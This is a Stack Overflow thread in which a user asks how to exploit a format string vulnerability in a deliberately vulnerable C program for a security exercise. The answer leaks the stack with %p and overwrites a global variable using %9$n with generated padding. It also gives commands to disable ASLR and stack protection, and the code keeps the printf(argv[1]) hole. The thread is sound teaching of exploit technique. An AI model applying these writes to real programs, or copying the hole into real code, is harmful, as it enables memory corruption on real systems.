6

Assume I have the following code:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int num1 = 0;

int main(int argc, char **argv){
    double num2;
    int *ptr = &num1;
    printf(argv[1]);

    if (num1== 2527){
        printf("Well done");
    }
    if(num2 == 4.56)
        printf("You are a format string expert");
    return 0;
}

I am trying to understand how to do it right but I just can't organize my mind with the guides on the internet.

Is it suppose to something like:

./Program %p %p %p %p

and then

 ./Program $( printf "\xAA\xAA\xAA\xAA") %.2523d%n

I just can't figure this out, Please help me through with it.

The main point of this is to exploit a string into a running program through the prinft function. I need to get both "Well done" and "You are a format string expert" to be printed. In my case, through Linux terminal/shell. As HuStmpHrrr notice: This is indeed supposed to be White Hacking - Software Security

Guy
  • 75
  • 2
  • 7
  • 1
    is it even compiling? `numb` ==> what? `printf(argv[1]);` ==> what if `NULL`? – Sourav Ghosh Nov 19 '14 at 14:07
  • `if(numb = 4.56)` has a typo. You need `==`. – Bathsheba Nov 19 '14 at 14:09
  • @Bathsheba before that, `numb` should be defined [ok, least, declared]. otherwise, **it is [numb](http://www.thefreedictionary.com/numb)**. – Sourav Ghosh Nov 19 '14 at 14:12
  • @Bathsheba You are right, didn't notice. I edited the question :) – Guy Nov 19 '14 at 14:13
  • What exactly are you trying to do? – syntagma Nov 19 '14 at 14:24
  • @SouravGhosh The "double num2;" was something I added because I was interested how to do it with double number. But aside than the numb and the == stuff which I wrote on the way, be sure that it did compiled. – Guy Nov 19 '14 at 14:30
  • possible duplicate of [How can a Format-String vulnerability be exploited?](http://stackoverflow.com/questions/7459630/how-can-a-format-string-vulnerability-be-exploited) – Michael Foukarakis Nov 19 '14 at 14:31
  • @Guy: if the answers in the linked question don't solve your problem, you are welcome to edit this one to ask somebody to expand on your specific issue. – Michael Foukarakis Nov 19 '14 at 14:32
  • @MichaelFoukarakis Thank you for notice me. I edited it to make it clear what my goal is. the "How can a Foramt..." guide is very detailed. But again, I wasn't able to use it right for my case. – Guy Nov 19 '14 at 14:50
  • In your setting, do you have ASLR activated or not? – Ortomala Lokni Nov 19 '14 at 17:01
  • @OrtomalaLokni Nope, no ASLR. – Guy Nov 19 '14 at 17:50

1 Answers1

9

First of all I recommend that you read the book Hacking: The Art of Exploitation. It is very good.

Now I try to explain how you can exploit your program. I assume that you know some basics about Format String Exploits, so I don't have to start from the very beginning. However it is important to disable ASLR and compile the executable without stack protection.

# disable ASLR
@> echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# compile without stack protection
@> gcc -g -fno-stack-protector -z execstack fmt.c 

I modified your program a little bit, so it is easier to understand how the exploit works:

#include <stdio.h>

int num1 = 0xdead;

int main(int argc, char **argv){
    int num2 = 0xbeef;
    int *ptr = &num1;
    printf(argv[1]);

    if (num1 == 0xabc){
        printf("Well done");
    }
    if(num2 == 0xdef)
        printf("You are a format string expert");

    printf("\n[DEBUG] num1: 0x%x [%p] num2: 0x%x [%p]\n", num1, &num1, num2, &num2);
    return 0;
}

I am using a 64-Bit Ubunty System. The pointer size is 8 bytes.

The Exploit

variable num1

First we try to change the variable num1. The address of num1 is stored in ptr. ptr is a local variable in main, so it is put on the stack (type int*). To examine the stack we can use the %p format specifier.

@> ./a.out %p.%p.%p.%p.%p.%p.%p.%p.%p

Output:

0x7fffffffdf78.0x7fffffffdf90.(nil).0x7ffff7dd4e80.0x7ffff7dea560.0x7fffffffdf78.0x200400440.0xbeefffffdf70.0x601040
[DEBUG] num1: 0xdead [0x601040] num2: 0xbeef [0x7fffffffde84]

We can see that the 9th element has the value 0x601040. That is the same like the value in our debug message num1: 0xdead [0x601040]. Now we know that 0x601040 is the pointer to the variable num1 and it is located on the stack. To change that value (write in memory) we can use the %n format specifier in combination with the Direct Parameter Access %9$n to write to the address that is stored in the 9th stack position.

To gain access to the Well done message we only need to write 0xabc values to stdout and use %n to write that number in memory:

@> ./a.out `python -c "print('A' * 0xabc)"`%9\$n

I use python to generate that output. Now the program prints "Well done".

variable num2

If we take a close look to the output we see that the 8th element has the value beef. That is our variable num2. I still did not figure out, how to exploit num2 but I try to explain how to do it in theory. We want to put an arbitrary memory address on the stack. This address should be the address that points to num2 (0x7fffffffde84). After that we can use the %n parameter to write to that address. To put an address on the stack we can use the format string.

@> ./a.out `printf "\x08\x07\x06\x05\x04\x03\x02\x01"`

The problem is that we have to find the location of this format string on the stack.

@> ./a.out AAAA`printf "\x08\x07\x06\x05\x04\x03\x02\x01"`BBBB`python -c "print('%p.' * 200)"`

The 'A's and 'B's are just padding and it is also easier to find our address in the output. The exploit looks similar to the num1 exploit way:

@> ./a.out ADDRESS`python -c "print('A' * VAL_TO_WRITE)"`PADDING%LOCATION_OF_ADDRESS\$n

The problem: In our scenario the address of num2 is 0x7fffffffde84 (that is 0x00007fffffffde84). That address can not be written because 0x00 is the C-String Terminator. So we can not put the address in our format string.

code monkey
  • 2,094
  • 3
  • 23
  • 26
  • It does work for the "Well done" if I write "./Program python -c "print('A' * 0x9df)"%7\$n" . But what is the equivalent in printf (without using python). And why does the it print 2529 of "A"s ? (For 0x537 it prints 1024 of 'A') – Guy Dec 01 '14 at 17:30
  • The code `python -c "print('A' * n)` prints `n` "A" characters to stdout. In your case `python -c "print('A' * 0x9df)` prints 0x9df (hex) = 2527 (dec) "A"s. You have to do that to write the wanted number with the format string specifier `%n`. I am no expert in bash programming but you could do it like that `printf 'A%.0s' {1..2527} && echo %9\$n`. – code monkey Dec 02 '14 at 08:09
  • Thank you, I will wait for another answer for the float part. It is interesting though what and how he managed to wrote into an arbitrary address in memory (Direct to a specific address) in [link](http://stackoverflow.com/questions/7459630/how-can-a-format-string-vulnerability-be-exploited) - Will it work on python too? And if so, how to enter a number without using 2527 dummy letters before the %n? – Guy Dec 02 '14 at 13:39
  • Yes it also works with python. It is not possible to do the exploit without printing 2572 characters because that's the way `%n` works. You could replace the 'A' character with '.' or something different but you have to print it. – code monkey Dec 03 '14 at 11:20